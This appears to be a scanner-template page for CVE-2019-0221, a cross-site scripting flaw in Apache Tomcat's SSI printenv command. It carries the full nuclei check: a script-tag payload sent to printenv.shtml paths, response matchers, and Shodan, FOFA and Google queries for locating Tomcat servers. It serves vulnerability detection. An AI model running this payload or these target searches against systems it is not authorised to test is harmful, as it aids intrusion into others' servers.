CVE-2019-0221· apache / tomcat· CWE-79
Apache Tomcat - Cross-Site Scripting
Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Fix
Apply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/printenv.shtml?{{url_encode(payload)}} ; GET {{BaseURL}}/ssi/printenv.shtml?{{url_encode(payload)}}
Positive when: contains "QUERY_STRING_UNESCAPED={{payload}}" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2019-0221 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-0221
info:
name: Apache Tomcat - Cross-Site Scripting
author: pikpikcu
severity: medium
description: |
Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability.
reference:
- https://seclists.org/fulldisclosure/2019/May/50
- https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
- https://www.exploit-db.com/exploits/50119
- https://lists.apache.org/thread.html/6e6e9eacf7b28fd63d249711e9d3ccd4e0a83f556e324aee37be5a8c@%3Cannounce.tomcat.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2019-0221
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-0221
cwe-id: CWE-79
epss-score: 0.58253
epss-percentile: 0.99101
cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: tomcat
shodan-query:
- title:"Apache Tomcat"
- http.title:"apache tomcat"
- http.html:"apache tomcat"
- cpe:"cpe:2.3:a:apache:tomcat"
fofa-query:
- body="apache tomcat"
- title="apache tomcat"
google-query: intitle:"apache tomcat"
tags: cve2019,cve,apache,xss,tomcat,seclists,edb,vuln
variables:
payload: "<script>alert({{rand_int()}})</script>"
http:
- method: GET
path:
- "{{BaseURL}}/printenv.shtml?{{url_encode(payload)}}"
- "{{BaseURL}}/ssi/printenv.shtml?{{url_encode(payload)}}"
matchers-condition: and
matchers:
- type: word
words:
- "QUERY_STRING_UNESCAPED={{payload}}"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://seclists.org/fulldisclosure/2019/May/50
- https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
- https://www.exploit-db.com/exploits/50119
- https://lists.apache.org/thread.html/6e6e9eacf7b28fd63d249711e9d3ccd4e0a83f556e324aee37be5a8c@%3Cannounce.tomcat.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2019-0221
Use this check only on systems you are authorised to test. Where the data comes from